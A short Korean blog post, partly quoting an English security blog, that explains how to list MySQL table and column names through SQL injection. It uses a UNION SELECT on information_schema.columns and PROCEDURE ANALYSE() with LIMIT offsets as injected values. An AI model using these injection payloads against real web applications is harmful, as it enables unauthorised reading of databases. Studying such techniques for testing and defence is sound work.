본문 바로가기

컴터 때찌/E​xperience

mysql table 보기


일반적인 mysql 컬럼 보는 방법은

union select table_name,column_name from information_schema.columns

이런식으로 많이들 본다


procedure을 사용해서 보는 방법이 있어 소개 하려한다


SELECT id, name, pass FROM users WHERE id = x

while x is our injection point. Now you can use

x = 1 PROCEDURE ANALYSE()

to get all column names, including the database and table name currently selected. You will see something like this:

test.users.id
test.users.name
test.users.pass

Depending on the webapp you will need to use LIMIT to enumerate the result of PROCEDURE ANALYSE() line by line which contains the names in the first column of each row:

x = 1 PROCEDURE ANALYSE() #get first column name
x = 1 LIMIT 1,1 PROCEDURE ANALYSE() #get second column name
x = 1 LIMIT 2,1 PROCEDURE ANALYSE() #get third column name


http://websec.wordpress.com/2009/01/26/mysql-table-and-column-names-update/